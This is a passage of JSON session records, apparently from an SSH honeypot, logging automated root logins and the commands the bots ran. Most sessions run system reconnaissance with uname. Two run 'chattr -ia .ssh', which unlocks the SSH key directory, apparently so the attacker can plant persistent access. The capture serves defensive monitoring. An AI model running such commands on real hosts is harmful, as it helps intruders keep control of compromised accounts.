  "ended_at": "2026-08-26T13:11:28.777179+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d68a9fb4-5569-47a8-a384-5dffce4837a0",
  "name": "downy-merry-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 49910,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:11:19.207992+00:00",
  "ended_at": "2026-08-26T13:11:20.701235+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9956f98a-eeaf-4103-859c-97a2785ede26",
  "name": "sleepy-granite-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57634,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 307,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:10:55.096582+00:00",
  "ended_at": "2026-08-26T13:11:00.730089+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "00df6462-da6a-452e-abf4-5663c42eb5b8",
  "name": "wry-patient-elk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35988,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 388,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:09:07.948095+00:00",
  "ended_at": "2026-08-26T13:09:12.127433+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2a82abe8-70c2-4c34-bcbe-70fe4abfc621",
  "name": "seaward-vaulted-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46512,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 466,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:07:19.028597+00:00",
  "ended_at": "2026-08-26T13:07:21.754113+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cb939376-d183-493b-8179-169966064506",
  "name": "crimson-drifting-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59062,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 382,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:07:03.250530+00:00",
  "ended_at": "2026-08-26T13:07:08.890012+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "699b5ba3-a1dc-44d2-8725-7274058f1cd8",
  "name": "wistful-airy-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42176,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 438,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:06:33.377642+00:00",
  "ended_at": "2026-08-26T13:06:38.401369+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6c7701fb-a197-4086-b723-cd225bf6f9b4",
  "name": "lawful-crisp-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44142,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 411,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:04:55.844694+00:00",
  "ended_at": "2026-08-26T13:05:01.436182+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "65e48b72-2f66-4b8a-ae87-d2bc33a985aa",
  "name": "earnest-hearty-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55420,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 485,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:04:43.959301+00:00",
  "ended_at": "2026-08-26T13:04:46.688241+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4e755372-ab01-4770-8324-a8731864bf2f",
  "name": "prairie-indigo-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 33138,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 498,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:04:12.487234+00:00",
  "ended_at": "2026-08-26T13:04:16.852233+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f05870be-e948-4f35-9845-7056f21e5861",
  "name": "marbled-whispering-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53458,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 728,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:03:36.544608+00:00",
  "ended_at": "2026-08-26T13:03:39.753382+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1122d674-988f-4327-946b-18e43ace3177",
  "name": "genial-sandy-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58624,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 395,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:02:52.815945+00:00",
  "ended_at": "2026-08-26T13:02:57.921398+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2fec5b3a-920a-4b11-8701-03e528823c24",
  "name": "rugged-languid-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60708,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 545,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:02:11.644728+00:00",
  "ended_at": "2026-08-26T13:02:16.221349+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "01b8a734-3a39-4bce-bc22-9b580a4c5140",
  "name": "diligent-deft-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52278,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 584,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:02:00.588297+00:00",
  "ended_at": "2026-08-26T13:02:03.403056+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6cdf4cde-d6f0-488c-899a-8ec01dd233ab",
  "name": "spirited-gritty-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35904,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 632,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:01:20.957737+00:00",
  "ended_at": "2026-08-26T13:01:23.849729+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f4ad7d75-21da-44ea-9187-ebe2a3b31931",
  "name": "solar-reedy-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47410,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 468,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:01:13.193016+00:00",
  "ended_at": "2026-08-26T13:01:18.716739+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "df2df546-2caa-4d78-99f7-6e2a89946cb3",
  "name": "silent-distant-gazelle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39664,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 625,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:00:43.800764+00:00",
  "ended_at": "2026-08-26T13:00:49.066384+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0237adba-8006-4803-ae6c-6f3be4d08987",
  "name": "lunar-sullen-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35700,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 527,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:00:06.462888+00:00",
  "ended_at": "2026-08-26T13:00:10.211650+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "647c52c5-9b13-4de4-a5e0-e5722440c318",
  "name": "sooty-craggy-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39628,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 466,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:59:50.000331+00:00",
  "ended_at": "2026-08-26T12:59:55.318674+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "71a53a8c-b9e0-4df7-8842-e952c47580e9",
  "name": "graceful-salty-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36608,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 440,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:59:34.489086+00:00",
  "ended_at": "2026-08-26T12:59:38.139659+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c4001c4a-2129-414a-9db4-36677973a1a1",
  "name": "drifting-cosmic-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 49088,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 934,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:59:15.601396+00:00",
  "ended_at": "2026-08-26T12:59:17.012599+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "9bd62048-6936-4b25-888d-3c5ee273a21f",
  "name": "blunt-courtly-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 49104,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:58:44.395071+00:00",
  "ended_at": "2026-08-26T12:58:46.364700+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "76ce5a3a-87ac-4e02-b3ef-11bc8f89c897",
  "name": "hollow-civil-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53136,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 486,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:58:17.985558+00:00",
  "ended_at": "2026-08-26T12:58:23.067142+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bbe8ce26-7a0f-437a-b2f0-efb48177fa32",
  "name": "hazel-ashen-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39056,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 654,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:57:02.523110+00:00",
  "ended_at": "2026-08-26T12:57:07.397865+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "11b65d9d-09a8-42c4-8f36-6094233473bc",
  "name": "frugal-plush-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 48882,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 856,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:56:23.726104+00:00",
  "ended_at": "2026-08-26T12:56:24.969226+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "55a38356-34b8-4650-b30e-fffa00530ab0",
  "name": "knotted-noble-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 48898,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:56:00.496567+00:00",
  "ended_at": "2026-08-26T12:56:01.597085+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "15c2dfba-509e-4133-92a2-4950f6b8aa59",
  "name": "painted-obsidian-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37356,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 556,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:54:41.763551+00:00",
  "ended_at": "2026-08-26T12:54:48.014278+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0499cb2c-e68a-4daa-a1a2-2d18b6976be3",
  "name": "cobalt-feral-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58358,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 464,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:54:11.185350+00:00",
  "ended_at": "2026-08-26T12:54:15.158575+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d63e9604-364d-41e8-81a7-7448ca353a35",
  "name": "wistful-shifting-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "93.152.221.210",
  "src_port": 64874,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:53:36.801744+00:00",
  "ended_at": "2026-08-26T12:53:37.082007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "42513193-fd6b-44ab-a323-ae940804d0bf",
  "name": "quaint-ruddy-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59260,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 395,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:53:25.519187+00:00",
  "ended_at": "2026-08-26T12:53:30.901013+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5e216218-163b-45aa-b1ac-f17f06b3907b",
  "name": "lanky-quaint-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38120,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 562,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:52:50.452426+00:00",
  "ended_at": "2026-08-26T12:52:53.881015+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6609b1fe-b98c-4d11-bd7a-556aeb02e9d1",
  "name": "wandering-hardy-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 32928,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 691,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:51:45.815990+00:00",
  "ended_at": "2026-08-26T12:51:49.990114+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "92fcfdf9-0d18-429b-871d-e0c7fe8e956a",
  "name": "icy-fleeting-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42678,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 401,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:51:27.612470+00:00",
  "ended_at": "2026-08-26T12:51:31.489788+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bbe48cb2-6b0a-4775-a403-574223ab9560",
  "name": "drifting-cosmic-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35384,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 351,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:50:34.790770+00:00",
  "ended_at": "2026-08-26T12:50:37.703693+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "067b9112-05e0-405a-a93b-0c6f985f1fea",
  "name": "obsidian-hazel-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57742,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 630,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:49:14.646736+00:00",
  "ended_at": "2026-08-26T12:49:18.877027+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "209d5693-da01-426c-9c68-a68bcae51c3c",
  "name": "fearless-crimson-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59916,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 737,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:49:00.768080+00:00",
  "ended_at": "2026-08-26T12:49:06.733631+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ca36af9b-9165-43df-85c0-e61c2225cf84",
  "name": "subtle-marbled-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53538,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 896,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:47:53.548152+00:00",
  "ended_at": "2026-08-26T12:47:56.841017+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ea1349da-d19c-47cd-898f-a6ed795223be",
  "name": "earnest-frugal-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40424,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 589,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:47:28.096638+00:00",
  "ended_at": "2026-08-26T12:47:33.270728+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c17c7783-11d7-45ae-8d11-b79b9b8ed722",
  "name": "smoky-grumpy-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39964,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 491,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:46:54.226944+00:00",
  "ended_at": "2026-08-26T12:46:59.195740+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ed1d5e37-7bdf-46bf-a6e0-dc19ca16c4a3",
  "name": "feathered-windswept-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41022,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 644,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:46:45.435597+00:00",
  "ended_at": "2026-08-26T12:46:51.412118+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b64fbcfd-2dc5-45c0-a285-17671618a115",
  "name": "prickly-coastal-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42818,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 459,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:46:29.207605+00:00",
  "ended_at": "2026-08-26T12:46:33.502713+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0b7ed3f9-17f4-4825-99c3-09aa02bf911c",
  "name": "wooded-granite-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38842,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 512,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:46:25.370296+00:00",
  "ended_at": "2026-08-26T12:46:31.269851+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a20e036b-ee41-41b3-82cd-40f5b3254376",
  "name": "quartz-subtle-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42634,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 529,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:45:01.082554+00:00",
  "ended_at": "2026-08-26T12:45:05.525721+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "42df55f7-b828-4e17-9194-5cd1282ed336",
  "name": "mellow-downy-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59838,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 436,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:41:27.286837+00:00",
  "ended_at": "2026-08-26T12:41:32.469313+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "04493b1d-9bac-4cdb-afd9-e96075be405f",
  "name": "gnarled-jagged-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47210,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 443,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:41:11.773284+00:00",
  "ended_at": "2026-08-26T12:41:16.624602+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "adf57795-b9df-4f57-b7d2-8cc5dacdb13e",
  "name": "upland-fleeting-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49076,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 440,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:41:05.849146+00:00",
  "ended_at": "2026-08-26T12:41:10.472015+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d8dcd696-7004-4779-964e-3313b12db9a6",
  "name": "plucky-graceful-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35506,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 567,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:40:17.181237+00:00",
  "ended_at": "2026-08-26T12:40:21.065551+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "23296692-f25b-4301-ae09-2d2489764b12",
  "name": "dapper-thorny-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36228,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 537,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:38:16.882856+00:00",
  "ended_at": "2026-08-26T12:38:21.164041+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8c8e89c6-66ac-4f32-9ce6-a323b5af1841",
  "name": "alpine-indigo-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52118,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 539,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:37:08.946442+00:00",
  "ended_at": "2026-08-26T12:37:13.590396+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7c3ec6e7-70f6-4ce7-ae7f-b805ffd17b42",
  "name": "downy-mottled-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55656,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 547,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:36:53.718514+00:00",
  "ended_at": "2026-08-26T12:36:56.723394+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b4be05b8-4ed0-43bb-86c1-2573f19a69a6",
  "name": "flinty-upland-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39642,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 525,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:36:50.010738+00:00",
